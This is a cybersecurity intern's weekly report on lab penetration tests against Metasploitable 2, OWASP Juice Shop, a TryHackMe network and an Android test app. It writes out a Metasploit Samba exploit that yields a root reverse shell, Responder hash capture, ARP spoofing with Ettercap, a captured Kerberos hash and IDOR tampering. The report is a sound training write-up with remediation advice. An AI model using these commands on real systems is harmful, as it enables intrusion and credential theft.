CYBERSECURITY INTERNSHIP REPORT (Week 4)

Name: Tanisha Gupta

Company: Cyart Tech

Internship Role: Cybersecurity Intern

Domain: VAPT (Vulnerability Assessment and Penetration Testing)

Internship Duration: Ongoing

Report Week: Week 4

1. INTRODUCTION

During my internship at **Cyart Tech**, I focused on building practical cybersecurity skills in the field of Vulnerability Assessment and Penetration Testing (VAPT). This internship gave me hands-on exposure to how real-world cyber attacks happen and how security professionals identify and fix vulnerabilities before they can be exploited.

Throughout this training, I worked on different areas of cybersecurity such as web application security testing, API security analysis, exploitation techniques, privilege escalation, network attacks, and mobile application security testing. Instead of only learning theory, I actively performed testing in lab environments, which helped me understand how attackers think and how systems can be secured against them.

All activities were conducted in a safe and controlled lab environment to ensure ethical practices. The platforms used for testing included:

- Metasploitable 2 – for practicing exploitation and privilege escalation
- OWASP Juice Shop – for web application and API vulnerability testing
- TryHackMe VPN Lab (Target IP: 10.48.186.68) – for network attacks and practical penetration testing
- Android application security testing using MobSF

The main goal of this internship was to understand real-world vulnerabilities and learn how to detect, analyze, and report them responsibly. This experience not only improved my technical skills but also boosted my confidence in working with cybersecurity tools and writing professional security reports.

2. OBJECTIVES

The main objectives of Week 4 of my internship at **Cyart Tech** were to strengthen my practical understanding of cybersecurity concepts and apply them in real-world lab environments.

The specific goals were:

- To understand and practice advanced exploitation techniques by identifying and leveraging system vulnerabilities.
- To perform API security testing, including capturing and analyzing JWT tokens to understand authentication mechanisms and potential weaknesses.
- To gain hands-on experience in privilege escalation by exploring misconfigurations, SUID binaries, and system weaknesses.
- To perform Man-in-the-Middle (MITM) and SMB-related network attacks in a controlled lab setup to understand how attackers intercept and manipulate network traffic.
- To conduct mobile application security assessment using industry tools and identify insecure configurations, hardcoded credentials, and permission issues.
- To document all findings in a clear and professional VAPT reporting format, including vulnerability description, impact, and mitigation steps.
- These objectives were designed to help me move beyond theoretical knowledge and develop practical skills required in the cybersecurity and ethical hacking field.

3. ADVANCED EXPLOITATION LAB

Target System

- Metasploitable 2
- Target IP: 192.168.207.133

During this lab task, I performed exploitation on the intentionally vulnerable Metasploitable 2 machine in a controlled environment to understand how real-world remote command execution vulnerabilities work.

Vulnerability Identified

The target system was running:

Samba 3.0.20 vulnerable to "username map script" *Command Execution*

This vulnerability allows an attacker to execute arbitrary commands remotely due to improper handling of username mapping in the Samba configuration.

Exploit Used

I used the following module from the **Metasploit Framework**:

```
exploit/multi/samba/usermap_script
```

Steps Performed

Started Metasploit Framework

```
msfconsole
```

Searched for Samba exploit

```
search samba 3.0.20
```

Selected the exploit module

```
use exploit/multi/samba/usermap_script
```

Configured the target and local machine

```
set RHOSTS 192.168.207.133
set LHOST 192.168.207.132
```

Executed the exploit

```
run
```

Result

After successful exploitation:

A **reverse shell session** was established.

Root access was achieved on the target machine.

Verification commands used:

whoami → root

id → uid=0(root)

This confirmed that the system was fully compromised with administrative privileges.

Conclusion

The Samba service was vulnerable to remote command execution due to a misconfigured username map script feature. This allowed an attacker to gain unauthorized root access without authentication.

This lab helped me understand how outdated services and misconfigurations can lead to complete system compromise. It also reinforced the importance of regular patching, secure configurations, and disabling unnecessary services in production environments.

4. API SECURITY TESTING LAB

Target Application

OWASP Juice Shop (Hosted on Localhost)

Objective

The objective of this lab was to analyze how the application handles authentication, JWT tokens, and API data access. The goal was to identify weaknesses in authorization mechanisms and check whether sensitive data could be accessed without proper validation.

Tools Used

- Burp Suite
- Postman
- JWT.io (for token decoding and analysis)

Key Findings

1. JWT Token Extraction

Intercepted the login request using Burp Suite:

POST /rest/user/login

Successfully captured the server response.

Extracted the JWT token from the response body.

To further validate the API behavior, I also tested login and token handling using Postman by sending manual API requests and analyzing the returned authentication token.

2. JWT Analysis

Decoded the token using JWT.io.

Observed the following details:

Algorithm: RS256

Role: admin

Sensitive information stored inside the payload

This analysis helped me understand how role-based authentication was implemented and how sensitive data inside tokens could be exposed if not properly secured.

3. IDOR (Insecure Direct Object Reference) Vulnerability

Intercepted the following request:

GET /rest/basket/5

Sent the request to Burp Repeater.

Modified the numeric ID value.

Observed that the server returned data belonging to another user without proper authorization checks.

I also replicated similar API requests in Postman to confirm that the vulnerability was consistent and not tool-specific.

Impact

Unauthorized access to other users' data

Sensitive data exposure

Insecure Direct Object Reference (IDOR) vulnerability

Weak authorization validation in API endpoints

Conclusion

The API lacked proper authorization checks on certain endpoints. Although authentication was implemented using JWT, access control validation was insufficient. This allowed unauthorized data access by simply modifying object IDs in API requests.

This lab strengthened my understanding of API security testing, JWT handling, and the importance of implementing proper server-side authorization mechanisms in web applications.

5. Privilege Escalation and Persistence Lab

Target Environment

Local vulnerable machine (Lab VM)

Objective

To identify privilege escalation vectors and demonstrate how persistence can be maintained after gaining initial access.

Activities Performed

1. System Enumeration

After gaining initial shell access, I began with system enumeration to gather information about the operating system, users, and running processes.

Commands used:

uname -a

cat /etc/passwd

ps aux

netstat –tulnp

Findings:

Identified Linux kernel version.

Listed system users and service accounts.

Observed running processes.

Discovered open ports and active services.

Enumeration helped in understanding possible attack surfaces and misconfigurations.

2. Service Enumeration

During analysis, multiple services were identified running on the target system:

MySQL

PostgreSQL

Apache

UnrealIRCd

Tomcat

Samba

Each service was analyzed for potential vulnerabilities or misconfigurations that could allow privilege escalation.

3. Privilege Escalation

Through misconfiguration and service exploitation, root-level access was successfully achieved.

Indicators of root access:

whoami returned **root**

Full access to restricted directories

Ability to modify system-level files

This confirmed successful privilege escalation.

4. Persistence (Lab Demonstration)

To simulate attacker persistence:

A reverse shell payload was maintained.

A Netcat listener was used to re-establish connection.

Cron jobs and running services were observed as potential persistence mechanisms.

This demonstrated how an attacker could maintain long-term access to a compromised system.

Result

- Successfully performed system and service enumeration.
- Achieved full root access.
- Identified potential persistence mechanisms.

Conclusion

This lab demonstrated how improper configurations and vulnerable services can lead to privilege escalation. It also highlighted the importance of system hardening, patch management, and monitoring cron jobs and background services to prevent persistence-based attacks

6. Network Protocol Attack Lab

Environment

- TryHackMe VPN Lab
- OpenVPN Configuration File: **ap-south-1-Tanishagupta-regular.ovpn**
- Target IP: **10.48.186.68**

Objective

The objective of this lab was to understand how attackers exploit insecure network configurations to intercept traffic, capture authentication hashes, and perform Man-in-the-Middle (MITM) attacks.

All activities were performed inside an authorized TryHackMe lab environment.

Step 1: VPN Connection

To access the lab network, I connected to the TryHackMe VPN using:

```
sudo openvpn ap-south-1-Tanishagupta-regular.ovpn
```

After successful authentication, a secure tunnel was established, allowing access to the internal lab network and target machine (10.48.186.68).

Step 2: SMB / Hash Capture

To capture authentication hashes, I used **Responder**:

```
responder -I eth0
```

Responder was configured to listen for broadcast authentication requests (LLMNR/NBT-NS).

During the attack simulation, NTLM authentication attempts were captured.

Additionally, during Kerberos enumeration, the following AS-REP hash was obtained:

```
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:0f2048b2dc1069d6586002560e4e999a$3bc7082d233003f95bc7ca4c52a48da7d5d0a207df3323381aab629d68c9feeb701421ec869a1ad217469e9415073c25b0c509845156b13aff21be5c9a8a047e9ed76bf719aa98e9212a5a843f9a57b9f0550b56e42a7082aea98a14b51702330ebadab03f184eba6dafe2f2948dd7fcfe6064510337d24cb589caed9ffd38c83bc1206b2b3e0ca615afa04d8fd260ccfbac624d156e54b8362060bb6e32018fa9f57cb3fe
```

7ee603617fc5013d57d70284940bbb66bbad43d350385b5c5a003a7268f3556dd5c6fead459b5
5fa1cdf01bc715e5b866bbac50cb5d76f6ac7ad712493e48a21784cad8170c0b5de5cc797fbcf

This hash indicates that the account **svc-admin** had Kerberos pre-authentication disabled, making it vulnerable to AS-REP roasting.

Step 3: MITM Attack (ARP Spoofing)

To simulate a Man-in-the-Middle attack, I used **Ettercap**:

sudo ettercap -T -M arp:remote /victimIP/ /gatewayIP/

This performed ARP spoofing between the victim and gateway.

Observations

- Successful traffic interception
- Captured authentication attempts
- Demonstrated how credentials can be exposed on insecure networks
- Observed network packets using Wireshark for deeper analysis

Tools Used

- Responder
- Ettercap
- Wireshark

Result

- Successfully connected to TryHackMe internal network via VPN
- Captured NTLM authentication attempts
- Obtained Kerberos AS-REP hash
- Demonstrated ARP spoofing and traffic interception

Conclusion

This lab demonstrated how insecure network configurations and improper authentication settings can lead to credential interception and hash extraction. It highlighted the importance of:

- Enforcing Kerberos pre-authentication
- Disabling LLMNR and NBT-NS
- Implementing network segmentation
- Using encrypted communication protocols

Overall, this exercise helped me understand real-world network-level attack techniques used during internal penetration testing and Active Directory security assessments.

7. Mobile Application Testing Lab

Tool Used

MobSF (Mobile Security Framework)

Target Application Details

The Android application analyzed in this lab was:

- **App Name:** FourGoats
- **Package Name:** org.owasp.goatdroid.fourgoats
- **File Name:** OWASP_GoatDroid-_FourGoats_Android_App.apk
- **Size:** 1.2 MB
- **Security Score:** 32/100
- **Target SDK:** 15
- **Minimum SDK:** 9 (Android 2.3)

The low security score clearly indicates the presence of multiple security weaknesses within the application.

Objective

The objective of this lab was to perform static analysis of an Android application to identify configuration issues, insecure coding practices, improper certificate usage, and potential data exposure risks.

Steps Performed

1. Started the MobSF server in Kali Linux.
2. Uploaded the Android APK file to the MobSF dashboard.
3. Performed Static Analysis.
4. Carefully reviewed the following sections of the report:
5. Android Manifest configuration
6. Code-level vulnerabilities
7. Network security implementation
8. Certificate configuration

9. Permissions requested
10. Hardcoded secrets

Key Findings from Static Analysis

1. Manifest Vulnerabilities

The manifest file revealed several misconfigurations:

App supports outdated Android versions (minSdk=9), which are vulnerable to known exploits.

Debug mode enabled (android:debuggable=true).

Application backup allowed (allowBackup not disabled).

Multiple exported activities without proper protection.

Activities vulnerable to StrandHogg 2.0 task hijacking attack.

Impact

Reverse engineering becomes easier.

Risk of phishing via activity hijacking.

Sensitive data extraction possible.

2. Insecure Data Storage

Shared Preferences and files are world-readable.

Possible hardcoded sensitive information found in the source code.

Impact

Other applications on the device can access stored data.

Credentials, tokens, or keys may be exposed.

3. Network Security Issues

Improper SSL certificate validation detected.

Application vulnerable to Man-in-the-Middle (MITM) attacks.

SSL certificate pinning detected in some components, but not consistently implemented.

Impact

Attackers can intercept and manipulate network communication.

Risk of data tampering and credential theft.

4. Certificate Analysis

Application signed using **SHA1withRSA** (weak hashing algorithm).

Signed only with v1 signature scheme (vulnerable to Janus vulnerability on older Android versions).

Impact

Risk of signature bypass.

Possible APK tampering on outdated Android devices.

5. Permission Analysis

The following high-risk permissions were identified:

SEND_SMS

ACCESS_COARSE_LOCATION

ACCESS_FINE_LOCATION

INTERNET

Potential Abuse

Sending unauthorized SMS

Tracking user location

Data exfiltration

6. Code-Level Issues

Insecure WebView implementation.

Raw SQL queries used (possible SQL injection risk).

Sensitive information logged in application logs.

Impact

Code injection attacks

Data leakage

Database manipulation

Overall Findings Summary

Severity	Count
High	3
Warning	3
Info	1
Secure	1

Conclusion

The static analysis revealed multiple high-risk vulnerabilities, including:

- Debuggable build enabled
- Insecure data storage
- Improper SSL validation
- Weak signing mechanism
- Exported components
- Risk of MITM and activity hijacking
- To secure the application, the following measures are recommended:
- Proper manifest hardening
- Secure storage implementation (EncryptedSharedPreferences / Keystore)
- Strong certificate configuration
- Updated SDK targeting (API 29 or above)
- Removal of debug configurations in production builds

This assessment demonstrated how mobile applications can contain critical vulnerabilities if secure development practices are not followed. It also enhanced my understanding of Android security architecture, static analysis methodology, and secure mobile development standards.

8. Overall Learning Outcomes

During my internship at **Cyart Tech**, I gained valuable hands-on experience that significantly strengthened my practical knowledge in the field of cybersecurity and VAPT.

Throughout these lab exercises and real-world simulations, I developed:

- **Practical exploitation skills** by identifying and exploiting vulnerabilities in controlled lab environments.
- **Real-world API vulnerability testing experience**, including JWT analysis, IDOR testing, and authentication bypass scenarios.
- A **deep understanding of privilege escalation techniques**, system enumeration, and persistence mechanisms.
- Knowledge of **Man-in-the-Middle (MITM) and network-based attacks**, including hash capture, ARP spoofing, and traffic interception.
- **Mobile application security assessment skills** through static analysis of Android applications using professional tools.
- The ability to perform **professional vulnerability documentation**, including impact analysis and remediation recommendations following VAPT reporting standards.

This internship helped me move beyond theoretical learning and apply cybersecurity concepts in practical scenarios. It improved my technical confidence, analytical thinking, and problem-solving skills, preparing me for real-world cybersecurity challenges.

9. Ethical Consideration

Throughout my internship at **Cyart Tech**, I strictly followed ethical hacking principles and responsible security practices.

All activities performed during this internship were conducted only in:

- Controlled lab environments
- Authorized vulnerable machines
- Educational platforms such as **TryHackMe**
- Locally hosted intentionally vulnerable applications

No unauthorized systems, networks, or real-world targets were accessed or tested at any point. Every exercise was performed solely for educational and learning purposes under proper guidance and within permitted environments.

This internship reinforced the importance of ethical responsibility in cybersecurity. As a future security professional, I understand that penetration testing must always be performed with explicit authorization, proper documentation, and a strong commitment to protecting systems rather than exploiting them.

10. Final Conclusion

This internship at **Cyart Tech** provided me with valuable hands-on exposure to offensive security practices and real-world VAPT methodologies. It allowed me to move beyond theoretical concepts and apply cybersecurity techniques in practical lab environments.

During this internship, I developed skills in:

- Web application security testing
- Network exploitation and protocol-based attacks
- System-level attacks and privilege escalation
- API security analysis
- Mobile application security assessment

Working on structured lab exercises and documented assessments significantly improved my technical confidence and analytical thinking. I also learned how to professionally document vulnerabilities, analyze their impact, and suggest proper remediation measures.

The practical knowledge and experience gained during this internship have greatly strengthened my understanding of cybersecurity concepts and prepared me for future professional roles in ethical hacking, penetration testing, and vulnerability assessment.

This internship has been an important step in building my career in the cybersecurity domain.